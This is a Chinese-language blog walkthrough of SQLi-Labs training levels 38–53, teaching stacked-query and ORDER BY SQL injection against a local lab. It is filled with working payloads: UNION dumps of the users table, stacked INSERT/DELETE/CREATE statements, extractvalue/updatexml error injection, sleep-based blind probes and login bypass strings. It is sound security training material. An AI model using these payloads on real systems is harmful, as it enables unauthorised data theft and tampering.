当前位置: 首页 > news >正文

SQLi-Labs靶场从零搭建到通关全攻略(五):堆叠注入与ORDER BY注入

摘要:在前四篇文章中,我们已经掌握了SQL注入的绝大部分核心技术——从GET到POST、从显注到盲注、从基础注入到过滤绕过。但从Less-38开始,我们将接触两种全新的注入方式:堆叠注入(Stacked Injection)ORDER BY注入

堆叠注入打破了“一次只能执行一条SQL语句”的限制,允许我们通过分号;拼接多条语句,实现增删改查甚至创建表、删除数据等操作。而ORDER BY注入则是在排序子句中注入,由于ORDER BY后面不能使用UNION联合查询,我们需要用全新的思路来应对。

本文作为系列攻略的第五篇,将系统讲解堆叠注入的原理与实战(Less-38~45),以及ORDER BY注入的四种方法(Less-46~53)。这是从“数据查询”到“数据操控”的关键跨越,也是实际渗透测试中极具实战价值的高级技能。


一、堆叠注入:突破单语句的限制

1.1 什么是堆叠注入?

在MySQL中,每条SQL语句以分号;结尾。堆叠注入(Stacked Injection)就是利用这个特性,在第一条SQL语句结束后,用分号拼接第二条、第三条……多条SQL语句一起执行。

打个比方:普通注入就像你只能给数据库“打一个电话”,说完就挂。堆叠注入就像你可以“连续拨打多个电话”——第一个电话查数据,第二个电话删表,第三个电话建账号,一气呵成。

核心条件:数据库驱动必须支持多语句执行。在PHP中,mysqli_multi_query()函数支持多语句执行,而mysql_query()默认不支持。

1.2 堆叠注入 vs UNION注入

对比项UNION注入堆叠注入
语句数量多条SELECT合并为一条结果多条独立SQL语句依次执行
语句类型只能是SELECT可以是任意SQL(INSERT、UPDATE、DELETE、CREATE等)
分号使用不需要必须用;分隔
攻击能力只能查数据可以增删改查、创建表、删库

1.3 常见堆叠注入语句

-- 插入新用户 INSERT INTO users (id,username,password) VALUES ('38','hacked','hacked'); ​ -- 更新数据 UPDATE users SET password='newpass' WHERE username='admin'; ​ -- 删除数据 DELETE FROM users WHERE id=38; ​ -- 创建表 CREATE TABLE test LIKE users; ​ -- 删除表 DROP TABLE test;

二、Less-38:GET型单引号堆叠注入

2.1 关卡信息

  • 关卡名称:Less-38 - GET - Stacked Query - Single quotes - String

  • 漏洞类型:GET型单引号字符型堆叠注入

  • 核心考点:在单引号闭合的GET参数中执行多条SQL语句

2.2 第一步:判断闭合方式

访问:

?id=1'

页面报错,确认是单引号闭合的字符型注入。

2.3 第二步:获取列数(字段数)

?id=0' order by 3 --+ //正常 ?id=0' order by 4 --+ //报错,所以是3列

2.4 第三步:获取回显位

?id=0' union select 1,2,3 --+ //2和3可以回显

2.5 第四步:获取数据库名

?id=0' union select 1,database(),3 --+

2.6 第五步:获取所有表名

?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

2.7 第六步:获取用户表所有字段名

?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

2.8 第七步:获取用户表所有数据

?id=0' union select 1,2,(select group_concat(id,'~',username,'~',password,'\n') from users) --+

2.9 第八步:堆叠注入——插入新用户

?id=0';insert into users (id,username,password) values ('38','hacked','hacked'); --+

2.10 第九步:验证插入结果

访问:

?id=38

页面显示新插入的用户信息,说明堆叠注入成功!

2.11 其他堆叠操作示例

创建表

?id=0';create table test like users; --+

删除数据

?id=0';delete from users where id=38; --+

三、Less-39:GET型数字型堆叠注入

3.1 关卡信息

  • 漏洞类型:GET型数字型堆叠注入

  • 与Less-38的区别:不需要引号闭合

3.2 通关步骤

第一步:测试闭合方式

?id=1 and 1=1 --+ # 正常 ?id=1 and 1=2 --+ # 无显示

确认是数字型注入

第二步:堆叠注入插入用户

?id=0;insert into users (id,username,password) values ('39','ysyx','ysyx'); --+

第三步:验证

?id=39


四、Less-40:GET型单引号+括号盲注堆叠

4.1 关卡信息

  • 漏洞类型:GET型单引号+括号闭合的堆叠注入

  • 核心特点:无报错回显,是盲注

4.2 通关步骤

// 判断注入点与闭合方式 ?id=1 and 1=2 //页面正常显示 → 不是数字型 ?id=1' //页面无回显 ?id=1')--+ //页面正常回显 → 确认闭合方式为 ')(单引号 + 括号) // 获取字段数 ?id=1') order by 3 --+ //页面正常 ?id=1') order by 4 --+ //页面无显示 → 字段数为 3 // 获取回显位 ?id=0') union select 1,2,3 --+ // 获取数据库名 ?id=0') union select 1,database(),3 --+ // 获取表名 ?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ // 获取字段名 ?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+ // 获取数据 ?id=0') union select 1,2,group_concat(username,password) from users --+ // 堆叠注入:插入新用户 ?id=1'); insert into users(id,username,password) values ('40','less40','ysyx') --+ // 验证 ?id=40


五、Less-41:GET型数字型堆叠注入

5.1 关卡信息

  • 漏洞类型:GET型数字型堆叠注入

  • 与Less-39相同:只是关卡编号不同

5.2 通关步骤

?id=0;insert into users (id,username,password) values ('41','less41','41414141'); --+ // 验证 ?id=41


六、Less-42:POST型密码框堆叠注入

6.1 关卡信息

  • 漏洞类型:POST型密码框堆叠注入

  • 核心特点:注入点在密码框,用户名被过滤了

6.2 通关步骤

第一步:观察页面

这是一个登录页面,有用户名和密码两个输入框。

第二步:测试注入点

密码框输入:

1'

页面报错,确认注入点在密码框,且是单引号闭合。

第三步:堆叠注入

Burp Suite抓包修改POST数据

login_user=admin&login_password=1';insert into users (id,username,password) values ('42','ysyx42','less42'); --+&mysubmit=Login

第四步:验证

用新创建的账号ysyx42/less42登录,成功!


七、Less-43:POST型单引号+括号堆叠注入

7.1 关卡信息

  • 漏洞类型:POST型单引号+括号闭合的堆叠注入

  • 与Less-42的区别:闭合方式从'变成了')

7.2 通关步骤

login_user=admin&login_password=1');insert into users (id,username,password) values ('43','my43','ysyx'); --+&mysubmit=Login


八、Less-44:POST型盲注堆叠注入

8.1 关卡信息

  • 漏洞类型:POST型盲注堆叠注入

  • 核心特点:无报错回显,需要用盲注或堆叠,通过登录成功/失败来判断

  • 核心漏洞mysqli_multi_query()支持堆叠注入

8.2 通关步骤

第一步:判断注入点与闭合方式

在用户名随意输入(如admin),密码输入:a' OR 1=1#

用户名admin,密码a' OR 1=2#→ 登录失败,确认注入成立

第二步:布尔盲注获取数据

判断数据库名长度

a' OR (length(database())=8)# // 登录成功 → 数据库名长度为 8

获取数据库名(逐字符)

a' OR (ascii(substr(database(),1,1))=115)# // 通过登录成功还是失败进行判断,最后得出数据库名为security

获取表名

a' OR (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#

获取字段名

a' OR (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100)#

获取数据

a' OR (ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100)#

第三步:堆叠注入

万能登录绕过

用户名:admin 密码:a' OR 1=1#

创建新用户

用户名:admin 密码:a'; insert into users(id,username,password) values('44','less44','ysyx')#

通过新创建的用户密码登录


九、Less-45:POST型单引号+括号盲注堆叠

9.1 关卡信息

  • 漏洞类型:POST型单引号+括号闭合的盲注堆叠

  • 与Less-44的区别:闭合方式为')

9.2 通关步骤

第一步:判断注入点与闭合方式

在用户名随意输入(如admin),密码输入:1') or 1=('1

用户名admin,密码 1') or 1=('2 → 登录失败,确认注入成立

第二步:布尔盲注获取数据

判断数据库名长度

1') or (length(database())=8)# // 登录成功 → 数据库名长度为 8

获取数据库名(逐字符)

1') or (ascii(substr(database(),1,1))=115)# // 通过登录成功还是失败进行判断,最后得出数据库名为security

获取表名

1') or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#

获取字段名

1') or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100)#

获取数据

1') or (ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100)#

第三步:堆叠注入

万能登录绕过

用户名:admin 密码:1') or 1=('1

创建新用户

用户名:admin 密码:1'); insert into users(id,username,password) values('45','less45','ysyx')#

通过新创建的用户密码登录


十、ORDER BY注入:全新的挑战(Less-46~53)

10.1 什么是ORDER BY注入?

从Less-46开始,注入点不再是WHERE子句,而是ORDER BY子句。

URL参数变成了sort

http://localhost/sqli-labs/Less-46/?sort=1

后端的SQL语句大致是:

SELECT * FROM users ORDER BY $sort

10.2 为什么ORDER BY注入不同?

核心区别ORDER BY后面不能使用UNION联合查询

打个比方:之前的注入就像在“筛选条件”里做文章(WHERE),而现在是在“排序规则”里做文章(ORDER BY)——你只能影响数据怎么排,不能直接让数据“显示”出来。

10.3 ORDER BY注入的四种方法

方法适用场景核心原理
报错注入有错误回显ORDER BY后构造报错语句
布尔盲注排序结果有差异通过排序变化判断真假
时间盲注无任何回显差异sleep()延时判断
文件导出有写入权限INTO OUTFILE写文件

十一、Less-46:数字型ORDER BY报错注入

11.1 关卡信息

  • 关卡名称:Less-46 - GET - Error Based - Numeric - ORDER BY CLAUSE

  • 漏洞类型:数字型ORDER BY报错注入

  • 核心特点:参数名从id变成了sort

11.2 第一步:判断注入点

访问:

http://localhost/sqli-labs/Less-46/?sort=1

页面按第1列排序显示表格。

尝试:

http://localhost/sqli-labs/Less-46/?sort=1 desc

页面按第1列降序排列。

http://localhost/sqli-labs/Less-46/?sort=2 asc

页面按第2列升序排列。

说明sort参数是可控的注入点。

11.3 第二步:报错注入获取数据库名

方法一:用extractvalue()

?sort=(extractvalue(1,concat(0x7e,database(),0x7e)))

方法二:用updatexml()

?sort=(updatexml(1,concat(0x7e,database()),1))

11.4 第三步:获取表名

?sort=(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))

11.5 第四步:获取表字段

?sort=(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)))

11.6 第五步:获取数据

?sort=(extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e)))


十二、Less-47:单引号字符串ORDER BY报错注入

12.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY报错注入

  • 与Less-46的区别:闭合方式是单引号

12.2 通关步骤

第一步:判断闭合方式

?sort=1'

报错,确认是单引号闭合。

第二步:报错注入

获取数据库名

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

获取表名

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

获取字段名

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+

获取数据

?sort=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1) --+


十三、Less-48:数字型ORDER BY布尔盲注

13.1 关卡信息

  • 漏洞类型:数字型ORDER BY布尔盲注

  • 核心特点:无报错回显

13.2 第一步:判断注入类型

用数学运算测试:

?sort=1 ?sort=2-1

两个请求返回相同的排序结果,说明2-1被当成数值1执行了。确认是数字型注入。

13.3 第二步:判断注入点

?sort=1 and 1=1 //页面正常排序 ?sort=1 and 1=2 //页面无变化 → 条件判断不生效,说明 and 在 ORDER BY 子句中无法直接使用

13.4 第三步:时间盲注

判断数据库名长度:当条件为真时立即响应,为假时延迟 5 秒

?sort=if(length(database())=8, 1, sleep(5)) // 立即响应 → 数据库名长度为 8

获取数据库名(逐字符)

?sort=if(ascii(substr(database(),1,1))=115, 1, sleep(5))

获取表名

?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101, 1, sleep(5))

获取字段名

?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105, 1, sleep(5))

获取用户表数据

?sort=if(ascii(substr((select concat_ws(':', username, password) from users limit 0,1),1,1))>100, 1, sleep(5)) // 如何不好用,用以下这个 ?sort=if(ascii(substr((select username from users limit 0,1),1,1))>100, 1, benchmark(20000000, md5(1)))

13.5 第四步:布尔盲注

判断数据库名长度

?sort=if(length(database())>8, id, username) // 按 id 排序 → 条件为真

获取数据库名

?sort=if(ascii(substr(database(),1,1))=115, id, username)

获取表名

?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100, id, username)

获取数据

?sort=if(ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100, id, username)

十四、Less-49:单引号字符串ORDER BY布尔盲注

14.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY布尔盲注

  • 核心特点:无报错回显,单引号字符型

14.2 通关步骤

第一步:判断闭合方式

?sort=1 //页面正常返回排序后的数据 ?sort=1' //页面返回空(无报错信息)→ 说明闭合方式为单引号 '

第二步:布尔盲注

?sort=1', if(条件, username, id), '1

条件为真:按username字段排序;条件为假:按id字段排序。

14.3 获取数据

判断数据库名长度

?sort=1', if(length(database())>7, username, id), '1 // 长度是否大于7,首行为admin为真,为Dumb为假 ?sort=1', if(length(database())>8, username, id), '1 // 长度是否大于8,首行为admin为真,为Dumb为假,结论为8

逐个获取数据库名字符

?sort=1', if(ascii(substr(database(),1,1))>114, username, id), '1

获取核心表名(users)

// 先判断长度为5 ?sort=1', if((select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5, username, id), '1 // 然后逐个获取字符 ?sort=1', if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116, username, id), '1

获取字段名(username 和 password)

?sort=1', if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),1,1))>116, username, id), '1

获取最终数据(账号密码)

?sort=1', if(ascii(substr((select username from users limit 0,1),1,1))>67, username, id), '1


十五、Less-50:数字型ORDER BY堆叠注入

15.1 关卡信息

  • 漏洞类型:数字型ORDER BY堆叠注入

  • 核心特点:虽然是ORDER BY场景,但支持堆叠注入

15.2 通关步骤

第一步:判断注入类型

输入?sort=rand()多次刷新页面:每次刷新排序结果发生变化→ 说明rand()被成功执行 →数字型注入

第二步:使用报错注入获取数据库名

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

第三步:使用报错注入获取所有表名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第四步:使用报错注入获取users表的字段名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

第五步:使用报错注入获取数据

?sort=1 and updatexml(1, concat(0x7e, (select concat(username,0x3a,password) from users limit 0,1), 0x7e), 1)--+

第六步:堆叠注入插入数据

?sort=1;insert into users values(50,'ysyx50','ysyx');--+

验证:

http://localhost/sqli-labs/Less-50/?sort=1 desc


十六、Less-51:单引号ORDER BY堆叠注入

16.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY堆叠注入

  • 与Less-50的区别:闭合方式是单引号

16.2 通关步骤

?sort=1';insert into users (id,username,password) values ('51','ysyx51','51515151'); --+ // 验证是否有增加的那条数据 http://localhost/sqli-labs/Less-51/?sort=1


十七、Less-52:数字型ORDER BY盲注堆叠

17.1 关卡信息

  • 漏洞类型:数字型ORDER BY盲注堆叠

  • 核心特点:无报错回显,但支持堆叠

17.2 通关步骤

第一步:验证注入类型为数字型

?sort=rand() // 每次刷新排序结果都不同

第二步:布尔盲注

?sort=rand(length(database())=8) // 条件为真:rand(1) 返回固定序列,页面按特定顺序排列 // 条件为假:rand(0) 返回不同序列,页面排序变化

第三步:堆叠注入

?sort=1;insert into users(id,username,password) values('52','ysyx52','5252') --+ // 验证 http://localhost/sqli-labs/Less-52/?sort=1 desc


十八、Less-53:单引号ORDER BY盲注堆叠

18.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY盲注堆叠

  • 与Less-52的区别:闭合方式是单引号

18.2 通关步骤

?sort=1';insert into users (id,username,password) values ('53','ysyx53','123453'); --+


总结

掌握了堆叠注入的核心原理(Less-38~45):利用分号;拼接多条SQL语句,突破了单语句的限制,实现了插入、更新、删除、创建表等操作

通关了8关堆叠注入关卡:从GET到POST、从有报错到盲注、从单引号到数字型、从普通闭合到括号闭合,覆盖了堆叠注入的各种场景

理解了ORDER BY注入的特殊性(Less-46~53)ORDER BY子句不能使用UNION联合查询,需要换一套打法

掌握了ORDER BY注入的四种方法:报错注入(Less-46/47)、布尔盲注(Less-48)、时间盲注(Less-49)、堆叠注入(Less-50~53)

通关了全部8关ORDER BY注入关卡:从数字型到字符串型、从有报错到盲注,完整覆盖了ORDER BY注入的各种场景

从Less-38到Less-53,我们完成了从“数据查询”到“数据操控”的跨越。堆叠注入让我们可以修改数据、创建表、删除记录,而ORDER BY注入则让我们掌握了排序场景下的注入技巧。这两项技能在实际渗透测试中极具价值——前者让你获得更大的控制权,后者让你在更多场景下找到突破口。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

http://www.cnnetsun.cn/news/2989187.html

相关文章:

  • 软件工程中的关怀伦理:从抽象关注到具体关怀的实践指南
  • Mac鼠标终极优化指南:5分钟让普通鼠标媲美苹果触控板
  • 人血清与人血清白蛋白HSA解析:纤维蛋白原去除、cGMP人AB血清与细胞治疗原料选型
  • OpenSSL策略映射实战:构建企业级PKI精细化证书控制体系
  • IDA Pro漏洞分析实战:从二进制逆向到漏洞利用开发
  • DCW差分一致性加权:提升扩散模型低步采样质量的关键技术
  • 思维链断裂与工具调用失效:AI Agent 决策机制的工程化剖析
  • 谱图理论在低轨星座星间链路拓扑优化中的应用与实践
  • Java ClassLoader实战:类隔离、热更新与插件化全解析
  • 第11期 | 为什么需要框架?从jQuery到React
  • 如何快速解锁中兴光猫工厂模式:终极Telnet权限获取指南
  • 如何快速解密QQ音乐加密音频:qmc-decoder终极指南
  • 2026 Java岗八股文面试题及答案整理(金九银十冲刺专用)
  • 2026年北京电子沙盘制作公司深度评测:从技术选型到落地效果,谁在真正定义“数字+实体”的融合边界?
  • 如何5分钟掌握LX Music桌面版:跨平台免费音乐播放器终极指南
  • 星环科技助力研究机构探索“AI+”场景,推动知识库构建与智能助手落地
  • JavaScript比较与逻辑运算符底层原理详解
  • 高考志愿填报指南:想成为数据分析师,该选哪些专业?
  • 如何免Steam客户端下载创意工坊模组:WorkshopDL完整指南
  • 【大数据_数仓架构-DolphinScheduler_一次性讲解清楚如何用DolphinScheduler编排数仓任务】
  • FanControl终极指南:5步让你的Windows风扇控制更智能高效
  • 解锁二手iPhone激活锁:applera1n免费工具完整使用指南
  • 工作证明英文翻译怎么办?工作证明英文翻译件办理流程是什么?看完你就明白了!
  • JavaScript :检验数据类型的方法
  • 好用的Windows软件!全局鼠标增强工具!能实现全局鼠标手势、触发角、边缘滚动、窗口拖动与管理等功能!鼠标便捷实用工具
  • 【深度解析】GPT-5.6推理预算升级与复杂Agent代码生成实战
  • 基于NXP P2020DS平台的嵌入式Linux系统开发全流程解析
  • OpenCore Legacy Patcher终极指南:3个简单步骤让老Mac免费升级最新macOS
  • 3.38亿元!3D打印大单背后,无人机发动机开始批量化
  • OpenRGB终极指南:一个免费开源软件统一管理所有RGB设备,告别品牌软件混乱